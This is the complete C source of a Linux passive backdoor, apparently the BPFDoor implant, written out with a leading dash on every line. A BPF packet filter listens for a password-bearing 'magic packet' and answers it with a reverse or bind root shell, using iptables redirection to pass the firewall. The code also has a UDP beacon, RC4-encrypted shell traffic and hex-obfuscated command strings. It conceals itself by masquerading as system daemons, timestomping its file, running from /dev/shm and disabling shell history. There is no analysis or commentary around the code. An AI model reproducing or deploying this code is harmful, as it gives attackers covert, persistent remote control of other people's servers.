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- #include <arpa/inet.h>
- #include <sys/wait.h>
- #include <sys/resource.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <signal.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <linux/termios.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <string.h>
- #include <fcntl.h>
- #include <ctype.h>
- #include <netdb.h>
- #include <sys/prctl.h>
- #include <libgen.h>
- #include <sys/time.h>
- #include <time.h>
- #include <linux/types.h>
- #include <linux/if_ether.h>
- #include <linux/filter.h>
- #include <errno.h>
- #include <strings.h>
- #ifndef PR_SET_NAME
- #define PR_SET_NAME 15
- #endif
- extern char **environ;
- #define __SID ('S' << 8)
- #define I_PUSH (__SID | 2)
- struct sniff_ip {
- unsigned char ip_vhl;
- unsigned char ip_tos;
- unsigned short int ip_len;
- unsigned short int ip_id;
- unsigned short int ip_off;
- #define IP_RF 0x8000
- #define IP_DF 0x4000
- #define IP_MF 0x2000
- #define IP_OFFMASK 0x1fff
- unsigned char ip_ttl;
- unsigned char ip_p;
- unsigned short int ip_sum;
- struct in_addr ip_src,ip_dst;
- };
- #define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
- #define IP_V(ip) (((ip)->ip_vhl) >> 4)
- typedef unsigned int tcp_seq;
- struct sniff_tcp {
- unsigned short int th_sport;
- unsigned short int th_dport;
- tcp_seq th_seq;
- tcp_seq th_ack;
- unsigned char th_offx2;
- #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
- unsigned char th_flags;
- #define TH_FIN 0x01
- #define TH_SYN 0x02
- #define TH_RST 0x04
- #define TH_PUSH 0x08
- #define TH_ACK 0x10
- #define TH_URG 0x20
- #define TH_ECE 0x40
- #define TH_CWR 0x80
- #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
- unsigned short int th_win;
- unsigned short int th_sum;
- unsigned short int th_urp;
- } __attribute__ ((packed));
- struct sniff_udp {
- uint16_t uh_sport;
- uint16_t uh_dport;
- uint16_t uh_ulen;
- uint16_t uh_sum;
- } __attribute__ ((packed));
- struct magic_packet{
- unsigned int flag;
- in_addr_t ip;
- unsigned short port;
- char pass[14];
- } __attribute__ ((packed));
- #ifndef uchar
- #define uchar unsigned char
- #endif
- typedef struct {
- uchar state[256];
- uchar x, y;
- } rc4_ctx;
- extern char *ptsname(int);
- extern int grantpt(int fd);
- extern int unlockpt(int fd);
- extern int ioctl (int __fd, unsigned long int __request, ...) __THROW;
- #define TIOCSCTTY 0x540E
- #define TIOCGWINSZ 0x5413
- #define TIOCSWINSZ 0x5414
- #define ECHAR 0x0b
- #define BUF 32768
- struct config {
- char stime[4];
- char etime[4];
- char mask[512];
- char pass[14];
- char pass2[14];
- } __attribute__ ((packed));
- struct config cfg;
- int pty, tty;
- int godpid;
- char pid_path[50];
- int shell(int, char *, char *);
- void getshell(char *ip, int);
- char *argv0 = NULL;
- rc4_ctx crypt_ctx, decrypt_ctx;
- void xchg(uchar *a, uchar *b)
- {
- uchar c = *a;
- *a = *b;
- *b = c;
- }
- void rc4_init (uchar *key, int len, rc4_ctx *ctx)
- {
- uchar index1, index2;
- uchar *state = ctx->state;
- uchar i;
- i = 0;
- do {
- state[i] = i;
- i++;
- } while (i);
- ctx->x = ctx->y = 0;
- index1 = index2 = 0;
- do {
- index2 = key[index1] + state[i] + index2;
- xchg(&state[i], &state[index2]);
- index1++;
- if (index1 >= len)
- index1 = 0;
- i++;
- } while (i);
- }
- void rc4 (uchar *data, int len, rc4_ctx *ctx)
- {
- uchar *state = ctx->state;
- uchar x = ctx->x;
- uchar y = ctx->y;
- int i;
- for (i = 0; i < len; i++) {
- uchar xor;
- x++;
- y = state[x] + y;
- xchg(&state[x], &state[y]);
- xor = state[x] + state[y];
- data[i] ^= state[xor];
- }
- ctx->x = x;
- ctx->y = y;
- }
- int cwrite(int fd, void *buf, int count)
- {
- uchar *tmp;
- int ret;
- if (!count)
- return 0;
- tmp = malloc(count);
- if (!tmp)
- return 0;
- memcpy(tmp, buf, count);
- rc4(tmp, count, &crypt_ctx);
- ret = write(fd, tmp, count);
- free(tmp);
- return ret;
- }
- int cread(int fd, void *buf, int count)
- {
- int i;
- if (!count)
- return 0;
- i = read(fd, buf, count);
- if (i > 0)
- rc4(buf, i, &decrypt_ctx);
- return i;
- }
- static void remove_pid(char *pp)
- {
- unlink(pp);
- }
- static void setup_time(char *file)
- {
- struct timeval tv[2];
- tv[0].tv_sec = 1225394236;
- tv[0].tv_usec = 0;
- tv[1].tv_sec = 1225394236;
- tv[1].tv_usec = 0;
- utimes(file, tv);
- }
- static void terminate(void)
- {
- if (getpid() == godpid)
- remove_pid(pid_path);
- _exit(EXIT_SUCCESS);
- }
- static void on_terminate(int signo)
- {
- terminate();
- }
- static void init_signal(void)
- {
- atexit(terminate);
- signal(SIGTERM, on_terminate);
- return;
- }
- void sig_child(int i)
- {
- signal(SIGCHLD, sig_child);
- waitpid(-1, NULL, WNOHANG);
- }
- int ptym_open(char *pts_name)
- {
- char *ptr;
- int fd;
- strcpy(pts_name,"/dev/ptmx");
- if ((fd = open(pts_name,O_RDWR)) < 0) {
- return -1;
- }
- if (grantpt(fd) < 0) {
- close(fd);
- return -2;
- }
- if (unlockpt(fd) < 0) {
- close(fd);
- return -3;
- }
- if ((ptr = ptsname(fd)) == NULL) {
- close(fd);
- return -4;
- }
- strcpy(pts_name,ptr);
- return fd;
- }
- int ptys_open(int fd,char *pts_name)
- {
- int fds;
- if ((fds = open(pts_name,O_RDWR)) < 0) {
- close(fd);
- return -5;
- }
- if (ioctl(fds,I_PUSH,"ptem") < 0) {
- return fds;
- }
- if (ioctl(fds,I_PUSH,"ldterm") < 0) {
- return fds;
- }
- if (ioctl(fds,I_PUSH,"ttcompat") < 0) {
- return fds;
- }
- return fds;
- }
- int open_tty()
- {
- char pts_name[20];
- pty = ptym_open(pts_name);
- tty = ptys_open(pty,pts_name);
- if (pty >= 0 && tty >=0 )
- return 1;
- return 0;
- }
- int try_link(in_addr_t ip, unsigned short port)
- {
- struct sockaddr_in serv_addr;
- int sock;
- bzero(&serv_addr, sizeof(serv_addr));
- serv_addr.sin_addr.s_addr = ip;
- if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
- return -1;
- }
- serv_addr.sin_family = AF_INET;
- serv_addr.sin_port = port;
- if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr)) == -1 ) {
- close(sock);
- return -1;
- }
- return sock;
- }
- int mon(in_addr_t ip, unsigned short port)
- {
- struct sockaddr_in remote;
- int sock;
- int s_len;
- bzero(&remote, sizeof(remote));
- if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < -1) {
- return -1;
- }
- remote.sin_family = AF_INET;
- remote.sin_port = port;
- remote.sin_addr.s_addr = ip;
- if ((s_len = sendto(sock, "1", 1, 0, (struct sockaddr *)&remote, sizeof(struct sockaddr))) < 0) {
- close(sock);
- return -1;
- }
- close(sock);
- return s_len;
- }
- int set_proc_name(int argc, char **argv, char *new)
- {
- size_t size = 0;
- int i;
- char *raw = NULL;
- char *last = NULL;
- argv0 = argv[0];
- for (i = 0; environ[i]; i++)
- size += strlen(environ[i]) + 1;
- raw = (char *) malloc(size);
- if (NULL == raw)
- return -1;
- for (i = 0; environ[i]; i++)
- {
- memcpy(raw, environ[i], strlen(environ[i]) + 1);
- environ[i] = raw;
- raw += strlen(environ[i]) + 1;
- }
- last = argv[0];
- for (i = 0; i < argc; i++)
- last += strlen(argv[i]) + 1;
- for (i = 0; environ[i]; i++)
- last += strlen(environ[i]) + 1;
- memset(argv0, 0x00, last - argv0);
- strncpy(argv0, new, last - argv0);
- prctl(PR_SET_NAME, (unsigned long) new);
- return 0;
- }
- int to_open(char *name, char *tmp)
- {
- char cmd[256] = {0};
- char fmt[] = {
- 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d, 0x66,
- 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f,
- 0x25, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x70,
- 0x20, 0x25, 0x73, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
- 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
- 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x68, 0x6d, 0x6f, 0x64, 0x20,
- 0x37, 0x35, 0x35, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
- 0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
- 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73,
- 0x20, 0x2d, 0x2d, 0x69, 0x6e, 0x69, 0x74, 0x20, 0x26, 0x26,
- 0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d,
- 0x66, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d,
- 0x2f, 0x25, 0x73, 0x00}; // /bin/rm -f /dev/shm/%s;/bin/cp %s /dev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bin/rm -f /dev/shm/%s
- snprintf(cmd, sizeof(cmd), fmt, tmp, name, tmp, tmp, tmp, tmp);
- system(cmd);
- sleep(2);
- if (access(pid_path, R_OK) == 0)
- return 0;
- return 1;
- }
- int logon(const char *hash)
- {
- int x = 0;
- x = memcmp(cfg.pass, hash, strlen(cfg.pass));
- if (x == 0)
- return 0;
- x = memcmp(cfg.pass2, hash, strlen(cfg.pass2));
- if (x == 0)
- return 1;
- return 2;
- }
- void packet_loop()
- {
- int sock, r_len, pid, scli, size_ip, size_tcp;
- socklen_t psize;
- uchar buff[512];
- const struct sniff_ip *ip;
- const struct sniff_tcp *tcp;
- struct magic_packet *mp;
- const struct sniff_udp *udp;
- in_addr_t bip;
- char *pbuff = NULL;
- //
- // Filter Options Build Filter Struct
- //
- struct sock_fprog filter;
- struct sock_filter bpf_code[] = {
- { 0x28, 0, 0, 0x0000000c },
- { 0x15, 0, 27, 0x00000800 },
- { 0x30, 0, 0, 0x00000017 },
- { 0x15, 0, 5, 0x00000011 },
- { 0x28, 0, 0, 0x00000014 },
- { 0x45, 23, 0, 0x00001fff },
- { 0xb1, 0, 0, 0x0000000e },
- { 0x48, 0, 0, 0x00000016 },
- { 0x15, 19, 20, 0x00007255 },
- { 0x15, 0, 7, 0x00000001 },
- { 0x28, 0, 0, 0x00000014 },
- { 0x45, 17, 0, 0x00001fff },
- { 0xb1, 0, 0, 0x0000000e },
- { 0x48, 0, 0, 0x00000016 },
- { 0x15, 0, 14, 0x00007255 },
- { 0x50, 0, 0, 0x0000000e },
- { 0x15, 11, 12, 0x00000008 },
- { 0x15, 0, 11, 0x00000006 },
- { 0x28, 0, 0, 0x00000014 },
- { 0x45, 9, 0, 0x00001fff },
- { 0xb1, 0, 0, 0x0000000e },
- { 0x50, 0, 0, 0x0000001a },
- { 0x54, 0, 0, 0x000000f0 },
- { 0x74, 0, 0, 0x00000002 },
- { 0xc, 0, 0, 0x00000000 },
- { 0x7, 0, 0, 0x00000000 },
- { 0x48, 0, 0, 0x0000000e },
- { 0x15, 0, 1, 0x00005293 },
- { 0x6, 0, 0, 0x0000ffff },
- { 0x6, 0, 0, 0x00000000 },
- };
- filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
- filter.filter = bpf_code;
- //
- // Build a rawsocket that binds the NIC to receive Ethernet frames
- //
- if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
- return;
- //
- // Set a packet filter
- //
- if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
- return;
- }
- //
- // Loop to Read Packets in 512 Chunks
- //
- while (1) {
- memset(buff, 0, 512);
- psize = 0;
- r_len = recvfrom(sock, buff, 512, 0x0, NULL, NULL);
- ip = (struct sniff_ip *)(buff+14);
- size_ip = IP_HL(ip)*4;
- if (size_ip < 20) continue;
- // determine protocl from packet (offset 14)
- switch(ip->ip_p) {
- case IPPROTO_TCP:
- tcp = (struct sniff_tcp*)(buff+14+size_ip);
- size_tcp = TH_OFF(tcp)*4;
- mp = (struct magic_packet *)(buff+14+size_ip+size_tcp);
- break;
- case IPPROTO_UDP:
- udp = (struct sniff_udp *)(ip+1);
- mp = (struct magic_packet *)(udp+1);
- break;
- case IPPROTO_ICMP:
- pbuff = (char *)(ip+1);
- mp = (struct magic_packet *)(pbuff+8);
- break;
- default:
- break;
- }
- // if magic packet is set process
- if (mp) {
- if (mp->ip == INADDR_NONE)
- bip = ip->ip_src.s_addr;
- else
- bip = mp->ip;
- pid = fork();
- if (pid) {
- waitpid(pid, NULL, WNOHANG);
- }
- else {
- int cmp = 0;
- char sip[20] = {0};
- char pname[] = {0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x69, 0x62, 0x65, 0x78, 0x65, 0x63, 0x2f, 0x70, 0x6f, 0x73, 0x74, 0x66, 0x69, 0x78, 0x2f, 0x6d, 0x61, 0x73, 0x74, 0x65,
- 0x72, 0x00}; // /usr/libexec/postfix/master
- if (fork()) exit(0);
- chdir("/");
- setsid();
- signal(SIGHUP, SIG_DFL);
- memset(argv0, 0, strlen(argv0));
- strcpy(argv0, pname); // sets process name (/usr/libexec/postfix/master)
- prctl(PR_SET_NAME, (unsigned long) pname);
- rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx);
- rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx);
- cmp = logon(mp->pass);
- switch(cmp) {
- case 1:
- strcpy(sip, inet_ntoa(ip->ip_src));
- getshell(sip, ntohs(tcp->th_dport));
- break;
- case 0:
- scli = try_link(bip, mp->port);
- if (scli > 0)
- shell(scli, NULL, NULL);
- break;
- case 2:
- mon(bip, mp->port);
- break;
- }
- exit(0);
- }
- }
- }
- close(sock);
- }
- int b(int *p)
- {
- int port;
- struct sockaddr_in my_addr;
- int sock_fd;
- int flag = 1;
- if( (sock_fd = socket(AF_INET,SOCK_STREAM,0)) == -1 ){
- return -1;
- }
- setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, (char*)&flag,sizeof(flag));
- my_addr.sin_family = AF_INET;
- my_addr.sin_addr.s_addr = 0;
- for (port = 42391; port < 43391; port++) {
- my_addr.sin_port = htons(port);
- if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){
- continue;
- }
- if( listen(sock_fd,1) == 0 ) {
- *p = port;
- return sock_fd;
- }
- close(sock_fd);
- }
- return -1;
- }
- int w(int sock)
- {
- socklen_t size;
- struct sockaddr_in remote_addr;
- int sock_id;
- size = sizeof(struct sockaddr_in);
- if( (sock_id = accept(sock,(struct sockaddr *)&remote_addr, &size)) == -1 ){
- return -1;
- }
- close(sock);
- return sock_id;
- }
- void getshell(char *ip, int fromport)
- {
- int sock, sockfd, toport;
- char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0};
- char cmdfmt[] = {
- 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
- 0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x41,
- 0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
- 0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
- 0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
- 0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
- 0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
- 0x64, 0x00}; // /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
- char rcmdfmt[] = {
- 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
- 0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x44,
- 0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
- 0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
- 0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
- 0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
- 0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
- 0x64, 0x00}; // /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
- char inputfmt[] = {
- 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
- 0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
- 0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
- 0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
- char dinputfmt[] = {
- 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
- 0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
- 0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
- 0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
- sockfd = b(&toport); // looks like it selects random ephemral port here
- if (sockfd == -1) return;
- snprintf(cmd, sizeof(cmd), inputfmt, ip);
- snprintf(dcmd, sizeof(dcmd), dinputfmt, ip);
- system(cmd); // executes /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
- sleep(1);
- memset(cmd, 0, sizeof(cmd));
- snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport);
- snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport);
- system(cmd); // executes /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
- sleep(1);
- sock = w(sockfd); // creates a sock that listens on port specified earlier
- if( sock < 0 ){
- close(sock);
- return;
- }
- //
- // passes sock and
- // rcmd = /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
- // dcmd = /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
- //
- //
- shell(sock, rcmd, dcmd);
- close(sock);
- }
- int shell(int sock, char *rcmd, char *dcmd)
- {
- int subshell;
- fd_set fds;
- char buf[BUF];
- char argx[] = {
- 0x71, 0x6d, 0x67, 0x72, 0x20, 0x2d, 0x6c, 0x20, 0x2d, 0x74,
- 0x20, 0x66, 0x69, 0x66, 0x6f, 0x20, 0x2d, 0x75, 0x00}; // qmgr -l -t fifo -u
- char *argvv[] = {argx, NULL, NULL};
- #define MAXENV 256
- #define ENVLEN 256
- char *envp[MAXENV];
- char sh[] = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; // /bin/sh
- int ret;
- char home[] = {0x48, 0x4f, 0x4d, 0x45, 0x3d, 0x2f, 0x74, 0x6d, 0x70, 0x00}; // HOME=/tmp
- char ps[] = {
- 0x50, 0x53, 0x31, 0x3d, 0x5b, 0x5c, 0x75, 0x40, 0x5c, 0x68, 0x20,
- 0x5c, 0x57, 0x5d, 0x5c, 0x5c, 0x24, 0x20, 0x00}; // PS1=[\u@\h \W]\\$
- char histfile[] = {
- 0x48, 0x49, 0x53, 0x54, 0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64,
- 0x65, 0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x00}; // HISTFILE=/dev/null
- char mshist[] = {
- 0x4d, 0x59, 0x53, 0x51, 0x4c, 0x5f, 0x48, 0x49, 0x53, 0x54, 0x46,
- 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x6e, 0x75,
- 0x6c, 0x6c, 0x00}; // MYSQL_HISTFILE=/dev/null
- char ipath[] = {
- 0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x62, 0x69, 0x6e,
- 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65,
- 0x72, 0x6f, 0x73, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
- 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x73,
- 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a,
- 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
- 0x73, 0x72, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73,
- 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x2f, 0x62, 0x69, 0x6e,
- 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c,
- 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f,
- 0x58, 0x31, 0x31, 0x52, 0x36, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2e,
- 0x2f, 0x62, 0x69, 0x6e, 0x00}; // PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin
- char term[] = "vt100";
- envp[0] = home;
- envp[1] = ps;
- envp[2] = histfile;
- envp[3] = mshist;
- envp[4] = ipath;
- envp[5] = term;
- envp[6] = NULL;
- if (rcmd != NULL)
- system(rcmd);
- if (dcmd != NULL)
- system(dcmd);
- write(sock, "3458", 4);
- if (!open_tty()) {
- if (!fork()) {
- dup2(sock, 0);
- dup2(sock, 1);
- dup2(sock, 2);
- execve(sh, argvv, envp);
- }
- close(sock);
- return 0;
- }
- subshell = fork();
- if (subshell == 0) {
- close(pty);
- ioctl(tty, TIOCSCTTY);
- close(sock);
- dup2(tty, 0);
- dup2(tty, 1);
- dup2(tty, 2);
- close(tty);
- execve(sh, argvv, envp);
- }
- close(tty);
- while (1) {
- FD_ZERO(&fds);
- FD_SET(pty, &fds);
- FD_SET(sock, &fds);
- if (select((pty > sock) ? (pty+1) : (sock+1),
- &fds, NULL, NULL, NULL) < 0)
- {
- break;
- }
- if (FD_ISSET(pty, &fds)) {
- int count;
- count = read(pty, buf, BUF);
- if (count <= 0) break;
- if (cwrite(sock, buf, count) <= 0) break;
- }
- if (FD_ISSET(sock, &fds)) {
- int count;
- unsigned char *p, *d;
- d = (unsigned char *)buf;
- count = cread(sock, buf, BUF);
- if (count <= 0) break;
- p = memchr(buf, ECHAR, count);
- if (p) {
- unsigned char wb[5];
- int rlen = count - ((long) p - (long) buf);
- struct winsize ws;
- if (rlen > 5) rlen = 5;
- memcpy(wb, p, rlen);
- if (rlen < 5) {
- ret = cread(sock, &wb[rlen], 5 - rlen);
- }
- ws.ws_xpixel = ws.ws_ypixel = 0;
- ws.ws_col = (wb[1] << 8) + wb[2];
- ws.ws_row = (wb[3] << 8) + wb[4];
- ioctl(pty, TIOCSWINSZ, &ws);
- kill(0, SIGWINCH);
- ret = write(pty, buf, (long) p - (long) buf);
- rlen = ((long) buf + count) - ((long)p+5);
- if (rlen > 0) ret = write(pty, p+5, rlen);
- } else
- if (write(pty, d, count) <= 0) break;
- }
- }
- close(sock);
- close(pty);
- waitpid(subshell, NULL, 0);
- vhangup();
- exit(0);
- }
- int main(int argc, char *argv[])
- {
- char hash[] = {0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00}; // justforfun
- char hash2[]= {0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // socket
- char *self[] = {
- "/sbin/udevd -d",
- "/sbin/mingetty /dev/tty7",
- "/usr/sbin/console-kit-daemon --no-daemon",
- "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
- "dbus-daemon --system",
- "hald-runner",
- "pickup -l -t fifo -u",
- "avahi-daemon: chroot helper",
- "/sbin/auditd -n",
- "/usr/lib/systemd/systemd-journald"
- };
- pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
- pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
- pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
- pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
- pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
- pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
- pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
- pid_path[21] = 0x00; // /var/run/haldrund.pid
- if (access(pid_path, R_OK) == 0) {
- exit(0);
- }
- if (getuid() != 0) {
- return 0;
- }
- if (argc == 1) {
- if (to_open(argv[0], "kdmtmpflush") == 0)
- _exit(0);
- _exit(-1);
- }
- bzero(&cfg, sizeof(cfg));
- srand((unsigned)time(NULL));
- strcpy(cfg.mask, self[rand()%10]);
- strcpy(cfg.pass, hash);
- strcpy(cfg.pass2, hash2);
- setup_time(argv[0]);
- set_proc_name(argc, argv, cfg.mask);
- if (fork()) exit(0);
- init_signal();
- signal(SIGCHLD, sig_child);
- godpid = getpid();
- close(open(pid_path, O_CREAT|O_WRONLY, 0644));
- signal(SIGCHLD,SIG_IGN);
- setsid();
- packet_loop();
- return 0;
- }
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